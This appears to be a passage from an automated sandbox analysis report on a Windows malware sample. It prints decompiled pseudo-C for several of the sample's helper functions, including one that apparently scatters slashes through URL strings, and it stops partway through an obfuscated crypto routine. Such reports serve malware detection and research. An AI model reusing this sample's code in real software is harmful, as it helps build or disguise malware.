Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorLastWait$EventFreeHeapMultipleObjectObjectsSingle
String ID:
API String ID: 602384898-0
Opcode ID: 676629ac6005b6160dda8595e55d1520dbdfa93b8f05366898c56f7625874bbf
Instruction ID: 683374ea452234a034c468b8da7e5ae330ed05ce8445f91199689dc22f502cc2
Opcode Fuzzy Hash: 676629ac6005b6160dda8595e55d1520dbdfa93b8f05366898c56f7625874bbf
Instruction Fuzzy Hash: ED311CB5900309EFEB21DF99CC8599EFBB9EB44390F10896AE582E3142D771EA449F50

Uniqueness

Uniqueness Score: -1.00%

Function 01733BF1, Relevance: 6.1, APIs: 4, Instructions: 87
sleepCOMMON

Download Yara Rule

C-Code - Quality: 40%

			E01733BF1(void* __ecx, void* __eflags, intOrPtr _a4, signed int* _a8, intOrPtr _a12) {
				intOrPtr _v12;
				void* _v16;
				void* _v28;
				char _v32;
				void* __esi;
				void* _t29;
				void* _t38;
				signed int* _t39;
				void* _t40;

				_t36 = __ecx;
				_v32 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v12 = _a4;
				_t38 = E01739763(__ecx,  &_v32);
				if(_t38 != 0) {
					L12:
					_t39 = _a8;
					L13:
					if(_t39 != 0 && ( *_t39 & 0x00000001) == 0) {
						_t16 =  &(_t39[1]); // 0x5
						_t23 = _t16;
						if( *_t16 != 0) {
							E0173A022(_t23);
						}
					}
					return _t38;
				}
				if(E0173A72D(0x40,  &_v16) != 0) {
					_v16 = 0;
				}
				_t40 = CreateEventA(0x173d2a8, 1, 0,  *0x173d344);
				if(_t40 != 0) {
					SetEvent(_t40);
					Sleep(0xbb8);
					CloseHandle(_t40);
				}
				_push( &_v32);
				if(_a12 == 0) {
					_t29 = E01738A51(_t36);
				} else {
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_t29 = E017317D5(_t36);
				}
				_t41 = _v16;
				_t38 = _t29;
				if(_v16 != 0) {
					E01731F99(_t41);
				}
				if(_t38 != 0) {
					goto L12;
				} else {
					_t39 = _a8;
					_t38 = E017342EA( &_v32, _t39);
					goto L13;
				}
			}

0x01733bf1
0x01733bfe
0x01733c04
0x01733c05
0x01733c06
0x01733c07
0x01733c08
0x01733c0c
0x01733c18
0x01733c1c
0x01733ca4
0x01733ca4
0x01733ca7
0x01733ca9
0x01733cb1
0x01733cb1
0x01733cb7
0x01733cba
0x01733cba
0x01733cb7
0x01733cc5
0x01733cc5
0x01733c2f
0x01733c31
0x01733c31
0x01733c48
0x01733c4c
0x01733c4f
0x01733c5a
0x01733c61
0x01733c61
0x01733c6d
0x01733c6e
0x01733c7c
0x01733c70
0x01733c70
0x01733c71
0x01733c72
0x01733c73
0x01733c74
0x01733c75
0x01733c75
0x01733c81
0x01733c86
0x01733c88
0x01733c8a
0x01733c8a
0x01733c91
0x00000000
0x01733c93
0x01733c93
0x01733ca0
0x00000000
0x01733ca0

APIs

CreateEventA.KERNEL32(0173D2A8,00000001,00000000,00000040,00000001,?,7519F710,00000000,7519F730,?,?,?,01736880,?,00000001,?), ref: 01733C42
SetEvent.KERNEL32(00000000,?,?,?,01736880,?,00000001,?,00000002,?,?,01732417,?), ref: 01733C4F
Sleep.KERNEL32(00000BB8,?,?,?,01736880,?,00000001,?,00000002,?,?,01732417,?), ref: 01733C5A
CloseHandle.KERNEL32(00000000,?,?,?,01736880,?,00000001,?,00000002,?,?,01732417,?), ref: 01733C61

Part of subcall function 01738A51: WaitForSingleObject.KERNEL32(00000000,?,?,?,01733C81,?,01733C81,?,?,?,?,?,01733C81,?), ref: 01738B2B

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: Event$CloseCreateHandleObjectSingleSleepWait
String ID:
API String ID: 2559942907-0
Opcode ID: 78a90b9ec252431c0274ad7c2ae964a18888e0542e83a0762da946f6847be435
Instruction ID: eb5daf6466bc0d37b1159c873d6bc57eeacf0c440facc6272febbb8f12b4096c
Opcode Fuzzy Hash: 78a90b9ec252431c0274ad7c2ae964a18888e0542e83a0762da946f6847be435
Instruction Fuzzy Hash: BB21A773D00219ABDB31AFEAC8848EEF77DBFC4260B058525EA11E7146D774D9458BA0

Uniqueness

Uniqueness Score: -1.00%

Function 0173788B, Relevance: 6.1, APIs: 4, Instructions: 61
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0173788B(unsigned int __eax, void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _t21;
				signed short _t23;
				char* _t27;
				void* _t29;
				void* _t30;
				unsigned int _t33;
				void* _t37;
				unsigned int _t38;
				void* _t41;
				void* _t42;
				int _t45;
				void* _t46;

				_t42 = __eax;
				__imp__(__eax, _t37, _t41, _t29, __ecx, __ecx);
				_t38 = __eax;
				_t30 = RtlAllocateHeap( *0x173d238, 0, (__eax >> 3) + __eax + 1);
				_v12 = _t30;
				if(_t30 != 0) {
					_v8 = _t42;
					do {
						_t33 = 0x18;
						if(_t38 <= _t33) {
							_t33 = _t38;
						}
						_t21 =  *0x173d250; // 0x37455d91
						_t23 = 0x3c6ef35f + _t21 * 0x19660d;
						 *0x173d250 = _t23;
						_t45 = (_t23 & 0x0000ffff) % (_t33 + 0xfffffff8) + 8;
						memcpy(_t30, _v8, _t45);
						_v8 = _v8 + _t45;
						_t27 = _t30 + _t45;
						_t38 = _t38 - _t45;
						_t46 = _t46 + 0xc;
						 *_t27 = 0x2f;
						_t13 = _t27 + 1; // 0x1
						_t30 = _t13;
					} while (_t38 > 8);
					memcpy(_t30, _v8, _t38 + 1);
				}
				return _v12;
			}

0x01737893
0x01737896
0x0173789c
0x017378b4
0x017378b8
0x017378bb
0x017378bd
0x017378c0
0x017378c2
0x017378c5
0x017378c7
0x017378c7
0x017378c9
0x017378d4
0x017378d9
0x017378ea
0x017378f2
0x017378f7
0x017378fa
0x017378fd
0x017378ff
0x01737905
0x01737908
0x01737908
0x01737908
0x01737913
0x01737918
0x01737922

APIs

lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,0173839A,00000000,?,?,0173A428,?,03DC95B0), ref: 01737896
RtlAllocateHeap.NTDLL(00000000,?), ref: 017378AE
memcpy.NTDLL(00000000,?,-00000008,?,?,?,0173839A,00000000,?,?,0173A428,?,03DC95B0), ref: 017378F2
memcpy.NTDLL(00000001,?,00000001), ref: 01737913

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: memcpy$AllocateHeaplstrlen
String ID:
API String ID: 1819133394-0
Opcode ID: e005e86bffae1ce9cb3147d78826bddc64736248f819b0c78dbea1f9618fbff5
Instruction ID: d44f77224cbd7fec971a69ab7febd0180065131cff62ddd31e268fb4be9aa064
Opcode Fuzzy Hash: e005e86bffae1ce9cb3147d78826bddc64736248f819b0c78dbea1f9618fbff5
Instruction Fuzzy Hash: 7C1129B2A00215AFC7208BA9DC88E9EFFAEEBC1271B144276F504D7141E7709E04C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 01737A9A, Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 48
stringCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E01737A9A(intOrPtr _a4, intOrPtr _a8) {
				char _v20;
				void* _t8;
				void* _t13;
				void* _t16;
				char* _t18;
				void* _t19;

				_t19 = 0x27;
				_t1 =  &_v20; // 0x74666f53
				_t18 = 0;
				E01736B43(_t8, _t1);
				_t16 = E01732049(_t19);
				if(_t16 != 0) {
					_t3 =  &_v20; // 0x74666f53
					_t13 = E017386D8(_t3, _t16, _a8);
					if(_a4 != 0) {
						__imp__(_a4);
						_t19 = _t13 + 0x27;
					}
					_t18 = E01732049(_t19);
					if(_t18 != 0) {
						 *_t18 = 0;
						if(_a4 != 0) {
							__imp__(_t18, _a4);
						}
						__imp__(_t18, _t16);
					}
					E01739039(_t16);
				}
				return _t18;
			}

0x01737aa5
0x01737aa6
0x01737aa9
0x01737aab
0x01737ab6
0x01737aba
0x01737abf
0x01737ac3
0x01737acb
0x01737ad0
0x01737ad8
0x01737ad8
0x01737ae1
0x01737ae5
0x01737aeb
0x01737aee
0x01737af4
0x01737af4
0x01737afc
0x01737afc
0x01737b03
0x01737b03
0x01737b0e

APIs

Part of subcall function 01732049: RtlAllocateHeap.NTDLL(00000000,00000000,01737E50), ref: 01732055

Part of subcall function 017386D8: wsprintfA.USER32 ref: 01738734

lstrlen.KERNEL32(017323E9,00000000,00000000,00000027,00000005,00000000,00000000,017396DA,74666F53,00000000,017323E9,0173D00C,?,017323E9), ref: 01737AD0
lstrcpy.KERNEL32(00000000,00000000), ref: 01737AF4
lstrcat.KERNEL32(00000000,00000000), ref: 01737AFC

Strings

Soft, xrefs: 01737AA6, 01737ABF

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHeaplstrcatlstrcpylstrlenwsprintf
String ID: Soft
API String ID: 393707159-3753413193
Opcode ID: 6acb349e6188447960ce59c5b891675cb04305224c99189171bc7e41544de451
Instruction ID: f09305f289a32209e097405a140bee945ca353660044786c51ffeb89d68c5118
Opcode Fuzzy Hash: 6acb349e6188447960ce59c5b891675cb04305224c99189171bc7e41544de451
Instruction Fuzzy Hash: 6F01267210021AB7D7137BA9DC88EEFFB6DEFD1256F048022F60555006DB75CA4ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 01737C61, Relevance: 6.0, APIs: 4, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01737C61(void* __esi) {
				struct _SECURITY_ATTRIBUTES* _v4;
				void* _t8;
				void* _t10;

				_v4 = 0;
				memset(__esi, 0, 0x38);
				_t8 = CreateEventA(0, 1, 0, 0);
				 *(__esi + 0x1c) = _t8;
				if(_t8 != 0) {
					_t10 = CreateEventA(0, 1, 1, 0);
					 *(__esi + 0x20) = _t10;
					if(_t10 == 0) {
						CloseHandle( *(__esi + 0x1c));
					} else {
						_v4 = 1;
					}
				}
				return _v4;
			}

0x01737c6b
0x01737c6f
0x01737c84
0x01737c88
0x01737c8b
0x01737c91
0x01737c95
0x01737c98
0x01737ca3
0x01737c9a
0x01737c9a
0x01737c9a
0x01737c98
0x01737cb1

APIs

memset.NTDLL ref: 01737C6F
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,751881D0), ref: 01737C84
CreateEventA.KERNEL32(00000000,00000001,00000001,00000000), ref: 01737C91
CloseHandle.KERNEL32(?), ref: 01737CA3

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: CreateEvent$CloseHandlememset
String ID:
API String ID: 2812548120-0
Opcode ID: 146ecbbb9cbc39af8966b26d4566b321d065f345e2f4285c2561a7eb650165be
Instruction ID: d1d5cedd4609e55c351636a674be8ea008e657e72f1656b1d03e8955f35387c6
Opcode Fuzzy Hash: 146ecbbb9cbc39af8966b26d4566b321d065f345e2f4285c2561a7eb650165be
Instruction Fuzzy Hash: 0CF0DAF5104309AFE2255F26DCC5827FBACEB861D9B11892EB14691542D632E8098BB0

Uniqueness

Uniqueness Score: -1.00%

Function 0173970F, Relevance: 6.0, APIs: 4, Instructions: 29
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0173970F() {
				void* _t1;
				intOrPtr _t5;
				void* _t6;
				void* _t7;
				void* _t11;

				_t1 =  *0x173d26c; // 0x200
				if(_t1 == 0) {
					L8:
					return 0;
				}
				SetEvent(_t1);
				_t11 = 0x7fffffff;
				while(1) {
					SleepEx(0x64, 1);
					_t5 =  *0x173d2b8; // 0x0
					if(_t5 == 0) {
						break;
					}
					_t11 = _t11 - 0x64;
					if(_t11 > 0) {
						continue;
					}
					break;
				}
				_t6 =  *0x173d26c; // 0x200
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0x173d238; // 0x39d0000
				if(_t7 != 0) {
					HeapDestroy(_t7);
				}
				goto L8;
			}

0x0173970f
0x01739716
0x01739760
0x01739762
0x01739762
0x0173971a
0x01739720
0x01739725
0x01739729
0x0173972f
0x01739736
0x00000000
0x00000000
0x01739738
0x0173973d
0x00000000
0x00000000
0x00000000
0x0173973d
0x0173973f
0x01739747
0x0173974a
0x0173974a
0x01739750
0x01739757
0x0173975a
0x0173975a
0x00000000

APIs

SetEvent.KERNEL32(00000200,00000001,01738099), ref: 0173971A
SleepEx.KERNEL32(00000064,00000001), ref: 01739729
CloseHandle.KERNEL32(00000200), ref: 0173974A
HeapDestroy.KERNEL32(039D0000), ref: 0173975A

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: CloseDestroyEventHandleHeapSleep
String ID:
API String ID: 4109453060-0
Opcode ID: 2a7cfe86784c9e1d0f0b9fc098a3e50d55b5383f0bee20a034b02d9a7ae140e1
Instruction ID: f17492b9153d3c719f925e17ea5e803a1fab05d57632b7f5791536161c15debe
Opcode Fuzzy Hash: 2a7cfe86784c9e1d0f0b9fc098a3e50d55b5383f0bee20a034b02d9a7ae140e1
Instruction Fuzzy Hash: 90F030757093105BE7326EBAED88B46BBA8AB457B6B048610BB04E72C9DBA4D440D750

Uniqueness

Uniqueness Score: -1.00%

Function 017375E9, Relevance: 6.0, APIs: 4, Instructions: 29
sleepmemoryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E017375E9(void** __esi) {
				char* _v0;
				intOrPtr _t4;
				intOrPtr _t6;
				void* _t8;
				intOrPtr _t11;
				void* _t12;
				void** _t14;

				_t14 = __esi;
				_t4 =  *0x173d32c; // 0x3dc95b0
				__imp__(_t4 + 0x40);
				while(1) {
					_t6 =  *0x173d32c; // 0x3dc95b0
					_t1 = _t6 + 0x58; // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t8 =  *_t14;
				if(_t8 != 0 && _t8 != 0x173d030) {
					HeapFree( *0x173d238, 0, _t8);
				}
				_t14[1] = E017394A9(_v0, _t14);
				_t11 =  *0x173d32c; // 0x3dc95b0
				_t12 = _t11 + 0x40;
				__imp__(_t12);
				return _t12;
			}

0x017375e9
0x017375e9
0x017375f2
0x01737602
0x01737602
0x01737607
0x0173760c
0x00000000
0x00000000
0x017375fc
0x017375fc
0x0173760e
0x01737612
0x01737624
0x01737624
0x01737634
0x01737637
0x0173763c
0x01737640
0x01737646

APIs

RtlEnterCriticalSection.NTDLL(03DC9570), ref: 017375F2
Sleep.KERNEL32(0000000A,?,017323DE), ref: 017375FC
HeapFree.KERNEL32(00000000,00000000,?,017323DE), ref: 01737624
RtlLeaveCriticalSection.NTDLL(03DC9570), ref: 01737640

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID:
API String ID: 58946197-0
Opcode ID: fbb3cc7c404fbbc8feb11b788164f26281c31737f2ed6a44dc0e6465c2c71863
Instruction ID: f8b3b1a32f9c05b3adb0491e447ea22b6b1d5bc7135986d97dacb15869d10b47
Opcode Fuzzy Hash: fbb3cc7c404fbbc8feb11b788164f26281c31737f2ed6a44dc0e6465c2c71863
Instruction Fuzzy Hash: A2F034B0604281DBE7358BACDD88E06F7E8EF55762B40C002F902E724AE371EC00CB26

Uniqueness

Uniqueness Score: -1.00%

Function 0173A5D6, Relevance: 6.0, APIs: 4, Instructions: 28
sleepmemoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0173A5D6() {
				void* _v0;
				void** _t3;
				void** _t5;
				void** _t7;
				void** _t8;
				void* _t10;

				_t3 =  *0x173d32c; // 0x3dc95b0
				__imp__( &(_t3[0x10]));
				while(1) {
					_t5 =  *0x173d32c; // 0x3dc95b0
					_t1 =  &(_t5[0x16]); // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t7 =  *0x173d32c; // 0x3dc95b0
				_t10 =  *_t7;
				if(_t10 != 0 && _t10 != 0x173e836) {
					HeapFree( *0x173d238, 0, _t10);
					_t7 =  *0x173d32c; // 0x3dc95b0
				}
				 *_t7 = _v0;
				_t8 =  &(_t7[0x10]);
				__imp__(_t8);
				return _t8;
			}

0x0173a5d6
0x0173a5df
0x0173a5ef
0x0173a5ef
0x0173a5f4
0x0173a5f9
0x00000000
0x00000000
0x0173a5e9
0x0173a5e9
0x0173a5fb
0x0173a600
0x0173a604
0x0173a617
0x0173a61d
0x0173a61d
0x0173a626
0x0173a628
0x0173a62c
0x0173a632

APIs

RtlEnterCriticalSection.NTDLL(03DC9570), ref: 0173A5DF
Sleep.KERNEL32(0000000A,?,017323DE), ref: 0173A5E9
HeapFree.KERNEL32(00000000,?,?,017323DE), ref: 0173A617
RtlLeaveCriticalSection.NTDLL(03DC9570), ref: 0173A62C

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID:
API String ID: 58946197-0
Opcode ID: d2cf80e54af693b0178cb0b4d5e1d299237336491b1919a8f5e8de26e2e1c08f
Instruction ID: 9a79d616a69b1f516aa714d558db026a2f5942d389f1f9d003cc6c49dd2ed05e
Opcode Fuzzy Hash: d2cf80e54af693b0178cb0b4d5e1d299237336491b1919a8f5e8de26e2e1c08f
Instruction Fuzzy Hash: D2F0DA74600244DBE7398F68D859E15B7E4EB89322B44C016F902D7259D731EC00DF15

Uniqueness

Uniqueness Score: -1.00%

Function 01737F27, Relevance: 5.1, APIs: 4, Instructions: 70
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E01737F27(void* __eax, void* __ecx, void* _a4, void** _a8, intOrPtr* _a12) {
				intOrPtr* _v8;
				void* _t17;
				intOrPtr* _t22;
				void* _t27;
				char* _t30;
				void* _t33;
				void* _t34;
				void* _t36;
				void* _t37;
				void* _t39;
				int _t42;

				_t17 = __eax;
				_t37 = 0;
				__imp__(_a4, _t33, _t36, _t27, __ecx);
				_t2 = _t17 + 1; // 0x1
				_t28 = _t2;
				_t34 = E01732049(_t2);
				if(_t34 != 0) {
					_t30 = E01732049(_t28);
					if(_t30 == 0) {
						E01739039(_t34);
					} else {
						_t39 = _a4;
						_t22 = E0173A911(_t39);
						_v8 = _t22;
						if(_t22 == 0 ||  *_t22 !=  *((intOrPtr*)(_t22 + 1))) {
							_a4 = _t39;
						} else {
							_t26 = _t22 + 2;
							_a4 = _t22 + 2;
							_t22 = E0173A911(_t26);
							_v8 = _t22;
						}
						if(_t22 == 0) {
							__imp__(_t34, _a4);
							 *_t30 = 0x2f;
							 *((char*)(_t30 + 1)) = 0;
						} else {
							_t42 = _t22 - _a4;
							memcpy(_t34, _a4, _t42);
							 *((char*)(_t34 + _t42)) = 0;
							__imp__(_t30, _v8);
						}
						 *_a8 = _t34;
						_t37 = 1;
						 *_a12 = _t30;
					}
				}
				return _t37;
			}

0x01737f27
0x01737f31
0x01737f33
0x01737f39
0x01737f39
0x01737f42
0x01737f46
0x01737f52
0x01737f56
0x01737fca
0x01737f58
0x01737f58
0x01737f5c
0x01737f63
0x01737f66
0x01737f80
0x01737f6f
0x01737f6f
0x01737f73
0x01737f76
0x01737f7b
0x01737f7b
0x01737f85
0x01737fad
0x01737fb3
0x01737fb6
0x01737f87
0x01737f89
0x01737f91
0x01737f9c
0x01737fa1
0x01737fa1
0x01737fbd
0x01737fc4
0x01737fc5
0x01737fc5
0x01737f56
0x01737fd5

APIs

lstrlen.KERNEL32(00000000,00000008,?,75144D40,?,?,017315A4,?,?,?,?,00000102,017311DA,?,?,00000000), ref: 01737F33

Part of subcall function 01732049: RtlAllocateHeap.NTDLL(00000000,00000000,01737E50), ref: 01732055

Part of subcall function 0173A911: StrChrA.SHLWAPI(?,0000002F,00000000,00000000,01737F61,00000000,00000001,00000001,?,?,017315A4,?,?,?,?,00000102), ref: 0173A91F
Part of subcall function 0173A911: StrChrA.SHLWAPI(?,0000003F,?,?,017315A4,?,?,?,?,00000102,017311DA,?,?,00000000,00000000), ref: 0173A929

memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,017315A4,?,?,?,?,00000102,017311DA,?), ref: 01737F91
lstrcpy.KERNEL32(00000000,00000000), ref: 01737FA1
lstrcpy.KERNEL32(00000000,00000000), ref: 01737FAD

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrcpy$AllocateHeaplstrlenmemcpy
String ID:
API String ID: 3767559652-0
Opcode ID: a175299dc9c79744d98f2cd2fde08546eefb5c631aa002e13d96d0065c3dde0a
Instruction ID: 878751f30c1434ad3b9276df84318983feb01281be9b8b1a3c50ef839452d9e1
Opcode Fuzzy Hash: a175299dc9c79744d98f2cd2fde08546eefb5c631aa002e13d96d0065c3dde0a
Instruction Fuzzy Hash: 6821D2B2504257FFCB129FA9CC48AAEFFE9AF96294F058055F944AB206D631C90187A0

Uniqueness

Uniqueness Score: -1.00%

Function 01737CB8, Relevance: 5.0, APIs: 4, Instructions: 39
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E01737CB8(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				void* _v8;
				void* _t18;
				int _t25;
				int _t29;
				int _t34;

				_t29 = lstrlenW(_a4);
				_t25 = lstrlenW(_a8);
				_t18 = E01732049(_t25 + _t29 + _t25 + _t29 + 2);
				_v8 = _t18;
				if(_t18 != 0) {
					_t34 = _t29 + _t29;
					memcpy(_t18, _a4, _t34);
					_t10 = _t25 + 2; // 0x2
					memcpy(_v8 + _t34, _a8, _t25 + _t10);
				}
				return _v8;
			}

0x01737ccd
0x01737cd1
0x01737cdb
0x01737ce2
0x01737ce5
0x01737ce7
0x01737cef
0x01737cf4
0x01737d02
0x01737d07
0x01737d11

APIs

lstrlenW.KERNEL32(004F0053,75145520,?,00000008,03DC937C,?,0173747C,004F0053,03DC937C,?,?,?,?,?,?,01736814), ref: 01737CC8
lstrlenW.KERNEL32(0173747C,?,0173747C,004F0053,03DC937C,?,?,?,?,?,?,01736814), ref: 01737CCF

Part of subcall function 01732049: RtlAllocateHeap.NTDLL(00000000,00000000,01737E50), ref: 01732055

memcpy.NTDLL(00000000,004F0053,751469A0,?,?,0173747C,004F0053,03DC937C,?,?,?,?,?,?,01736814), ref: 01737CEF
memcpy.NTDLL(751469A0,0173747C,00000002,00000000,004F0053,751469A0,?,?,0173747C,004F0053,03DC937C), ref: 01737D02

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlenmemcpy$AllocateHeap
String ID:
API String ID: 2411391700-0
Opcode ID: 09e3f295b4e4f8dad186a6e67b17b40be04bb2fa1f27d4be303ec0a26badc0c6
Instruction ID: 7c0864bea66cf0a528cf2b2849fc2cfb8202523c0e1b63c754f93662d923b431
Opcode Fuzzy Hash: 09e3f295b4e4f8dad186a6e67b17b40be04bb2fa1f27d4be303ec0a26badc0c6
Instruction Fuzzy Hash: 39F04F72900119BBCF11DFA8CC88CDEBBADEF492547114062ED08D7116E631EA14CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 01733CC8, Relevance: 5.0, APIs: 4, Instructions: 27stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(03DC9910,00000000,00000000,74ECC740,0173A453,00000000), ref: 01733CD8
lstrlen.KERNEL32(?), ref: 01733CE0

Part of subcall function 01732049: RtlAllocateHeap.NTDLL(00000000,00000000,01737E50), ref: 01732055

lstrcpy.KERNEL32(00000000,03DC9910), ref: 01733CF4
lstrcat.KERNEL32(00000000,?), ref: 01733CFF

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$AllocateHeaplstrcatlstrcpy
String ID:
API String ID: 74227042-0
Opcode ID: 416666ee0891647f169ebd823e73856a3e6c56458ba4bf28627bace56e3d47c8
Instruction ID: f8857ae60c0a33633ac3bb3037226f5aad4a80ec472629d591c600a5459838ca
Opcode Fuzzy Hash: 416666ee0891647f169ebd823e73856a3e6c56458ba4bf28627bace56e3d47c8
Instruction Fuzzy Hash: A2E09273505261A787229BE9AC4CC6FFBADEFCA6327048417F600E3119C724C8148BE1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 6376 Parent PID: 6356 rundll32.exeCOMMON

Executed Functions

Function 0494348F, Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 367
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 72%

			E0494348F(signed int __ebx, signed int __ecx, signed int __edx, signed int __edi, signed int __esi, signed int _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v32;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				void* __ebp;
				signed int _t195;
				signed int _t197;
				signed int _t198;
				signed int _t199;
				signed int _t202;
				signed int _t205;
				signed int _t211;
				void* _t212;
				signed int _t215;
				signed int _t218;
				signed int _t221;
				signed int _t222;
				signed int _t223;
				signed int _t226;
				void* _t236;
				void* _t243;
				void* _t245;
				signed int _t247;
				signed int _t259;
				long _t262;
				long _t265;
				signed int _t270;
				signed int _t275;
				signed int _t278;
				signed int _t280;
				signed int _t282;
				void* _t286;
				signed int _t287;
				void* _t292;
				void* _t293;
				DWORD* _t294;
				signed int _t299;
				signed int _t302;
				signed int _t305;
				signed int _t308;
				void* _t309;
				signed int _t313;
				signed int _t320;
				long _t325;
				signed int* _t333;

				_t299 = __esi;
				_t275 = __edi;
				_t258 = __edx;
				_t229 = __ecx;
				_t223 = __ebx;
				if( *(__ebx + 0x41820f) == 0) {
					_push(_v20);
					 *_t333 = __ecx;
					_push(__edi);
					 *_t333 =  *_t333 & 0x00000000;
					 *_t333 =  *_t333 | __edx;
					_t195 =  *((intOrPtr*)(__ebx + 0x45d020))();
					_v20 = __ecx;
					 *(__ebx + 0x41820f) =  *(__ebx + 0x41820f) & 0x00000000;
